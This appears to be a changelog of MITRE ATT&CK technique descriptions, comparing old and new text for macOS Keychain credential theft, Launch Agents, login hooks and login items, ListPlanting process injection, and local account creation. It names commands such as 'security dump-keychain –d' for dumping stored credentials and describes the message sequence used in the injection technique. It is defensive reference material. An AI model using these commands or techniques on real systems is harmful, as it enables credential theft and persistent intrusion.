| > | efault Keychain is the Login Keychain, which stores user pas | > | efault Keychain is the Login Keychain, which stores user pas | ||
| > | swords and information. The System Keychain stores items acc | > | swords and information. The System Keychain stores items acc | ||
| > | essed by the operating system, such as items shared among us | > | essed by the operating system, such as items shared among us | ||
| > | ers on a host. The Local Items (iCloud) Keychain is used for | > | ers on a host. The Local Items (iCloud) Keychain is used for | ||
| > | items synced with Apple’s iCloud service. Keychains can b | > | items synced with Apple’s iCloud service. Keychains can b | ||
| > | e viewed and edited through the Keychain Access application | > | e viewed and edited through the Keychain Access application | ||
| > | or using the command-line utility <code>security</code>. Key | > | or using the command-line utility <code>security</code>. Key | ||
| > | chain files are located in <code>~/Library/Keychains/</code> | > | chain files are located in <code>~/Library/Keychains/</code> | ||
| > | , <code>/Library/Keychains/</code>, and <code>/Network/Libra | > | , <code>/Library/Keychains/</code>, and <code>/Network/Libra | ||
| > | ry/Keychains/</code>.(Citation: Keychain Services Apple)(Cit | > | ry/Keychains/</code>.(Citation: Keychain Services Apple)(Cit | ||
| > | ation: Keychain Decryption Passware)(Citation: OSX Keychain | > | ation: Keychain Decryption Passware)(Citation: OSX Keychain | ||
| > | Schaumann) Adversaries may gather user credentials from Key | > | Schaumann) Adversaries may gather user credentials from Key | ||
| > | chain storage/memory. For example, the command <code>securit | > | chain storage/memory. For example, the command <code>securit | ||
| > | y dump-keychain –d</code> will dump all Login Keychain crede | > | y dump-keychain –d</code> will dump all Login Keychain crede | ||
| > | ntials from <code>~/Library/Keychains/login.keychain-db</cod | > | ntials from <code>~/Library/Keychains/login.keychain-db</cod | ||
| > | e>. Adversaries may also directly read Login Keychain creden | > | e>. Adversaries may also directly read Login Keychain creden | ||
| > | tials from the <code>~/Library/Keychains/login.keychain</cod | > | tials from the <code>~/Library/Keychains/login.keychain</cod | ||
| > | e> file. Both methods require a password, where the default | > | e> file. Both methods require a password, where the default | ||
| > | password for the Login Keychain is the current user’s passwo | > | password for the Login Keychain is the current user’s passwo | ||
| > | rd to login to the macOS host.(Citation: External to DA, the | > | rd to log in to the macOS host.(Citation: External to DA, th | ||
| > | OS X Way)(Citation: Empire Keychain Decrypt) | > | e OS X Way)(Citation: Empire Keychain Decrypt) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.622000+00:00 | 2026-11-03 21:47:36.376000+00:00 |
| description | Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) | Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
Adversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to log in to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) |
Current version: 1.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create or modify launch agents to repeatedly | t | 1 | Adversaries may create or modify launch agents to repeatedly |
| > | execute malicious payloads as part of persistence. When a u | > | execute malicious payloads as part of persistence. When a u | ||
| > | ser logs in, a per-user launchd process is started which loa | > | ser logs in, a per-user launchd process is started which loa | ||
| > | ds the parameters for each launch-on-demand user agent from | > | ds the parameters for each launch-on-demand user agent from | ||
| > | the property list (.plist) file found in <code>/System/Libra | > | the property list (.plist) file found in <code>/System/Libra | ||
| > | ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, | > | ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, | ||
| > | and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs | > | and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs | ||
| > | Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citat | > | Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citati | ||
| > | ion: Antiquated Mac Malware) Property list files use the <co | > | on: Antiquated Mac Malware) Property list files use the <cod | ||
| > | de>Label</code>, <code>ProgramArguments </code>, and <code>R | > | e>Label</code>, <code>ProgramArguments </code>, and <code>Ru | ||
| > | unAtLoad</code> keys to identify the Launch Agent's name, ex | > | nAtLoad</code> keys to identify the Launch Agent's name, exe | ||
| > | ecutable location, and execution time.(Citation: OSX.Dok Mal | > | cutable location, and execution time.(Citation: OSX.Dok Malw | ||
| > | ware) Launch Agents are often installed to perform updates t | > | are) Launch Agents are often installed to perform updates to | ||
| > | o programs, launch user specified programs at login, or to c | > | programs, launch user specified programs at login, or to co | ||
| > | onduct other developer tasks. Launch Agents can also be ex | > | nduct other developer tasks. Launch Agents can also be exe | ||
| > | ecuted using the [Launchctl](https://attack.mitre.org/techni | > | cuted using the [Launchctl](https://attack.mitre.org/techniq | ||
| > | ques/T1569/001) command. Adversaries may install a new Lau | > | ues/T1569/001) command. Adversaries may install a new Laun | ||
| > | nch Agent that executes at login by placing a .plist file in | > | ch Agent that executes at login by placing a .plist file int | ||
| > | to the appropriate folders with the <code>RunAtLoad</code> o | > | o the appropriate folders with the <code>RunAtLoad</code> or | ||
| > | r <code>KeepAlive</code> keys set to <code>true</code>.(Cita | > | <code>KeepAlive</code> keys set to <code>true</code>.(Citat | ||
| > | tion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malwar | > | ion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware | ||
| > | e Persistence) The Launch Agent name may be disguised by usi | > | Persistence) The Launch Agent name may be disguised by usin | ||
| > | ng a name from the related operating system or benign softwa | > | g a name from the related operating system or benign softwar | ||
| > | re. Launch Agents are created with user level privileges and | > | e. Launch Agents are created with user level privileges and | ||
| > | execute with user level permissions.(Citation: OSX Malware | > | execute with user level permissions.(Citation: OSX Malware D | ||
| > | Detection)(Citation: OceanLotus for OS X) | > | etection)(Citation: OceanLotus for OS X) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.717000+00:00 | 2026-11-04 00:50:03.553000+00:00 |
| description | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse list-view controls to inject malicious | t | 1 | Adversaries may abuse list-view controls to inject malicious |
| > | code into hijacked processes in order to evade process-base | > | code into hijacked processes in order to evade process-base | ||
| > | d defenses as well as possibly elevate privileges. ListPlant | > | d defenses as well as possibly elevate privileges. ListPlant | ||
| > | ing is a method of executing arbitrary code in the address s | > | ing is a method of executing arbitrary code in the address s | ||
| > | pace of a separate live process.(Citation: Hexacorn Listplan | > | pace of a separate live process.(Citation: Hexacorn Listplan | ||
| > | ting) Code executed via ListPlanting may also evade detectio | > | ting) Code executed via ListPlanting may also evade detectio | ||
| > | n from security products since the execution is masked under | > | n from security products since the execution is masked under | ||
| > | a legitimate process. List-view controls are user interfac | > | a legitimate process. List-view controls are user interfac | ||
| > | e windows used to display collections of items.(Citation: Mi | > | e windows used to display collections of items.(Citation: Mi | ||
| > | crosoft List View Controls) Information about an application | > | crosoft List View Controls) Information about an application | ||
| > | 's list-view settings are stored within the process' memory | > | 's list-view settings is stored within the process' memory i | ||
| > | in a <code>SysListView32</code> control. ListPlanting (a fo | > | n a <code>SysListView32</code> control. ListPlanting (a for | ||
| > | rm of message-passing "shatter attack") may be performed by | > | m of message-passing "shatter attack") may be performed by c | ||
| > | copying code into the virtual address space of a process tha | > | opying code into the virtual address space of a process that | ||
| > | t uses a list-view control then using that code as a custom | > | uses a list-view control then using that code as a custom c | ||
| > | callback for sorting the listed items.(Citation: Modexp Wind | > | allback for sorting the listed items.(Citation: Modexp Windo | ||
| > | ows Process Injection) Adversaries must first copy code into | > | ws Process Injection) Adversaries must first copy code into | ||
| > | the target process’ memory space, which can be performed va | > | the target process’ memory space, which can be performed var | ||
| > | rious ways including by directly obtaining a handle to the < | > | ious ways including by directly obtaining a handle to the <c | ||
| > | code>SysListView32</code> child of the victim process window | > | ode>SysListView32</code> child of the victim process window | ||
| > | (via Windows API calls such as <code>FindWindow</code> and/ | > | (via Windows API calls such as <code>FindWindow</code> and/o | ||
| > | or <code>EnumWindows</code>) or other [Process Injection](ht | > | r <code>EnumWindows</code>) or other [Process Injection](htt | ||
| > | tps://attack.mitre.org/techniques/T1055) methods. Some vari | > | ps://attack.mitre.org/techniques/T1055) methods. Some varia | ||
| > | ations of ListPlanting may allocate memory in the target pro | > | tions of ListPlanting may allocate memory in the target proc | ||
| > | cess but then use window messages to copy the payload, to av | > | ess but then use window messages to copy the payload, to avo | ||
| > | oid the use of the highly monitored <code>WriteProcessMemory | > | id the use of the highly monitored <code>WriteProcessMemory< | ||
| > | </code> function. For example, an adversary can use the <cod | > | /code> function. For example, an adversary can use the <code | ||
| > | e>PostMessage</code> and/or <code>SendMessage</code> API fun | > | >PostMessage</code> and/or <code>SendMessage</code> API func | ||
| > | ctions to send <code>LVM_SETITEMPOSITION</code> and <code>LV | > | tions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM | ||
| > | M_GETITEMPOSITION</code> messages, effectively copying a pay | > | _GETITEMPOSITION</code> messages, effectively copying a payl | ||
| > | load 2 bytes at a time to the allocated memory.(Citation: ES | > | oad 2 bytes at a time to the allocated memory.(Citation: ESE | ||
| > | ET InvisiMole June 2020) Finally, the payload is triggered | > | T InvisiMole June 2020) Finally, the payload is triggered | ||
| > | by sending the <code>LVM_SORTITEMS</code> message to the <c | > | by sending the <code>LVM_SORTITEMS</code> message to the <co | ||
| > | ode>SysListView32</code> child of the process window, with t | > | de>SysListView32</code> child of the process window, with th | ||
| > | he payload within the newly allocated buffer passed and exec | > | e payload within the newly allocated buffer passed and execu | ||
| > | uted as the <code>ListView_SortItems</code> callback. | > | ted as the <code>ListView_SortItems</code> callback. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-04 03:11:37.194000+00:00 |
| description | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback. | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings is stored within the process' memory in a SysListView32 control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback. |
Current version: 1.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. For examp | > | or administration on a single system or service. For examp | ||
| > | le, with a sufficient level of access, the Windows <code>net | > | le, with a sufficient level of access, the Windows <code>net | ||
| > | user /add</code> command can be used to create a local acco | > | user /add</code> command can be used to create a local acco | ||
| > | unt. In Linux, the `useradd` command can be used, while on | > | unt. In Linux, the `useradd` command can be used, while on | ||
| > | macOS systems, the <code>dscl -create</code> command can be | > | macOS systems, the <code>dscl -create</code> command can be | ||
| > | used. Local accounts may also be added to network devices, o | > | used. Local accounts may also be added to network devices, o | ||
| > | ften via common [Network Device CLI](https://attack.mitre.or | > | ften via common [Network Device CLI](https://attack.mitre.or | ||
| > | g/techniques/T1059/008) commands such as <code>username</cod | > | g/techniques/T1059/008) commands such as <code>username</cod | ||
| > | e>, to ESXi servers via `esxcli system account add`, or to K | > | e>, to ESXi servers via `esxcli system account add`, or to K | ||
| > | ubernetes clusters using the `kubectl` utility.(Citation: ci | > | ubernetes clusters using the `kubectl` utility.(Citation: ci | ||
| > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | ||
| > | rity) Adversaries may also create new local accounts on net | > | rity) Adversaries may also create new local accounts on net | ||
| > | work firewall management consoles – for example, by exploiti | > | work firewall management consoles – for example, by exploiti | ||
| > | ng a vulnerable firewall management system, threat actors ma | > | ng a vulnerable firewall management system, threat actors ma | ||
| > | y be able to establish super-admin accounts that could be us | > | y be able to establish super-admin accounts that could be us | ||
| > | ed to modify firewall rules and gain further access to the n | > | ed to modify firewall rules and gain further access to the n | ||
| > | etwork.(Citation: Cyber Security News) Such accounts may be | > | etwork.(Citation: Cyber Security News) Such accounts may be | ||
| > | used to establish secondary credentialed access that do not | > | used to establish secondary credentialed access that does n | ||
| > | require persistent remote access tools to be deployed on th | > | ot require persistent remote access tools to be deployed on | ||
| > | e system. | > | the system. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.636000+00:00 | 2026-11-04 03:16:37.829000+00:00 |
| description | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)
Adversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)
Adversaries may also create new local accounts on network firewall management consoles – for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)
Such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a Login Hook to establish persistence ex | t | 1 | Adversaries may use a Login Hook to establish persistence ex |
| > | ecuted upon user logon. A login hook is a plist file that po | > | ecuted upon user logon. A login hook is a plist file that po | ||
| > | ints to a specific script to execute with root privileges up | > | ints to a specific script to execute with root privileges up | ||
| > | on user logon. The plist file is located in the <code>/Libra | > | on user logon. The plist file is located in the <code>/Libra | ||
| > | ry/Preferences/com.apple.loginwindow.plist</code> file and c | > | ry/Preferences/com.apple.loginwindow.plist</code> file and c | ||
| > | an be modified using the <code>defaults</code> command-line | > | an be modified using the <code>defaults</code> command-line | ||
| > | utility. This behavior is the same for logout hooks where a | > | utility. This behavior is the same for logout hooks where a | ||
| > | script can be executed upon user logout. All hooks require a | > | script can be executed upon user logout. All hooks require a | ||
| > | dministrator permissions to modify or create hooks.(Citation | > | dministrator permissions to modify or create hooks.(Citation | ||
| > | : Login Scripts Apple Dev)(Citation: LoginWindowScripts Appl | > | : Login Scripts Apple Dev)(Citation: LoginWindowScripts Appl | ||
| > | e Dev) Adversaries can add or insert a path to a malicious | > | e Dev) Adversaries can add or insert a path to a malicious | ||
| > | script in the <code>com.apple.loginwindow.plist</code> file | > | script in the <code>com.apple.loginwindow.plist</code> file | ||
| > | , using the <code>LoginHook</code> or <code>LogoutHook</code | > | , using the <code>LoginHook</code> or <code>LogoutHook</code | ||
| > | > key-value pair. The malicious script is executed upon the | > | > key-value pair. The malicious script is executed upon the | ||
| > | next user login. If a login hook already exists, adversaries | > | next user login. If a login hook already exists, adversaries | ||
| > | can add additional commands to an existing login hook. Ther | > | can add additional commands to an existing login hook. Ther | ||
| > | e can be only one login and logout hook on a system at a tim | > | e can be only one login and logout hook on a system at a tim | ||
| > | e.(Citation: S1 macOs Persistence)(Citation: Wardle Persiste | > | e.(Citation: S1 macOs Persistence)(Citation: Wardle Persiste | ||
| > | nce Chapter) **Note:** Login hooks were deprecated in 10.11 | > | nce Chapter) **Note:** Login hooks were deprecated in 10.11 | ||
| > | version of macOS in favor of [Launch Daemon](https://attack | > | version of macOS in favor of [Launch Daemon](https://attack | ||
| > | .mitre.org/techniques/T1543/004) and [Launch Agent](https:// | > | .mitre.org/techniques/T1543/004) and [Launch Agent](https:// | ||
| > | attack.mitre.org/techniques/T1543/001) | > | attack.mitre.org/techniques/T1543/001). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:42.963000+00:00 | 2026-11-03 20:11:04.751000+00:00 |
| description | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)
Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)
**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) | Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)
Adversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)
**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may add login items to execute upon user login t | t | 1 | Adversaries may add login items to execute upon user login t |
| > | o gain persistence or escalate privileges. Login items are a | > | o gain persistence or escalate privileges. Login items are a | ||
| > | pplications, documents, folders, or server connections that | > | pplications, documents, folders, or server connections that | ||
| > | are automatically launched when a user logs in.(Citation: Op | > | are automatically launched when a user logs in.(Citation: Op | ||
| > | en Login Items Apple) Login items can be added via a shared | > | en Login Items Apple) Login items can be added via a shared | ||
| > | file list or Service Management Framework.(Citation: Adding | > | file list or Service Management Framework.(Citation: Adding | ||
| > | Login Items) Shared file list login items can be set using s | > | Login Items) Shared file list login items can be set using s | ||
| > | cripting languages such as [AppleScript](https://attack.mitr | > | cripting languages such as [AppleScript](https://attack.mitr | ||
| > | e.org/techniques/T1059/002), whereas the Service Management | > | e.org/techniques/T1059/002), whereas the Service Management | ||
| > | Framework uses the API call <code>SMLoginItemSetEnabled</cod | > | Framework uses the API call <code>SMLoginItemSetEnabled</cod | ||
| > | e>. Login items installed using the Service Management Fram | > | e>. Login items installed using the Service Management Fram | ||
| > | ework leverage <code>launchd</code>, are not visible in the | > | ework leverage <code>launchd</code>, are not visible in the | ||
| > | System Preferences, and can only be removed by the applicati | > | System Preferences, and can only be removed by the applicati | ||
| > | on that created them.(Citation: Adding Login Items)(Citation | > | on that created them.(Citation: Adding Login Items)(Citation | ||
| > | : SMLoginItemSetEnabled Schroeder 2013) Login items created | > | : SMLoginItemSetEnabled Schroeder 2013) Login items created | ||
| > | using a shared file list are visible in System Preferences, | > | using a shared file list are visible in System Preferences, | ||
| > | can hide the application when it launches, and are executed | > | can hide the application when it launches, and are executed | ||
| > | through LaunchServices, not launchd, to open applications, d | > | through LaunchServices, not launchd, to open applications, d | ||
| > | ocuments, or URLs without using Finder.(Citation: Launch Ser | > | ocuments, or URLs without using Finder.(Citation: Launch Ser | ||
| > | vices Apple Developer) Users and applications use login item | > | vices Apple Developer) Users and applications use login item | ||
| > | s to configure their user environment to launch commonly use | > | s to configure their user environment to launch commonly use | ||
| > | d services or applications, such as email, chat, and music a | > | d services or applications, such as email, chat, and music a | ||
| > | pplications. Adversaries can utilize [AppleScript](https:// | > | pplications. Adversaries can utilize [AppleScript](https:// | ||
| > | attack.mitre.org/techniques/T1059/002) and [Native API](http | > | attack.mitre.org/techniques/T1059/002) and [Native API](http | ||
| > | s://attack.mitre.org/techniques/T1106) calls to create a log | > | s://attack.mitre.org/techniques/T1106) calls to create a log | ||
| > | in item to spawn malicious executables.(Citation: ELC Runnin | > | in item to spawn malicious executables.(Citation: ELC Runnin | ||
| > | g at startup) Prior to version 10.5 on macOS, adversaries ca | > | g at startup) Prior to version 10.5 on macOS, adversaries ca | ||
| > | n add login items by using [AppleScript](https://attack.mitr | > | n add login items by using [AppleScript](https://attack.mitr | ||
| > | e.org/techniques/T1059/002) to send an Apple events to the “ | > | e.org/techniques/T1059/002) to send an Apple event to the “S | ||
| > | System Events” process, which has an AppleScript dictionary | > | ystem Events” process, which has an AppleScript dictionary f | ||
| > | for manipulating login items.(Citation: Login Items AE) Adve | > | or manipulating login items.(Citation: Login Items AE) Adver | ||
| > | rsaries can use a command such as <code>tell application “Sy | > | saries can use a command such as <code>tell application “Sys | ||
| > | stem Events” to make login item at end with properties /path | > | tem Events” to make login item at end with properties /path/ | ||
| > | /to/executable</code>.(Citation: Startup Items Eclectic)(Cit | > | to/executable</code>.(Citation: Startup Items Eclectic)(Cita | ||
| > | ation: hexed osx.dok analysis 2019)(Citation: Add List Remov | > | tion: hexed osx.dok analysis 2019)(Citation: Add List Remove | ||
| > | e Login Items Apple Script) This command adds the path of th | > | Login Items Apple Script) This command adds the path of the | ||
| > | e malicious executable to the login item file list located i | > | malicious executable to the login item file list located in | ||
| > | n <code>~/Library/Application Support/com.apple.backgroundta | > | <code>~/Library/Application Support/com.apple.backgroundtas | ||
| > | skmanagementagent/backgrounditems.btm</code>.(Citation: Star | > | kmanagementagent/backgrounditems.btm</code>.(Citation: Start | ||
| > | tup Items Eclectic) Adversaries can also use login items to | > | up Items Eclectic) Adversaries can also use login items to l | ||
| > | launch executables that can be used to control the victim sy | > | aunch executables that can be used to control the victim sys | ||
| > | stem remotely or as a means to gain privilege escalation by | > | tem remotely or as a means to gain privilege escalation by p | ||
| > | prompting for user credentials.(Citation: objsee mac malware | > | rompting for user credentials.(Citation: objsee mac malware | ||
| > | 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire ba | > | 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire bac | ||
| > | ckdoor 2019) | > | kdoor 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:03.355000+00:00 | 2026-11-03 21:56:22.932000+00:00 |
| description | Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
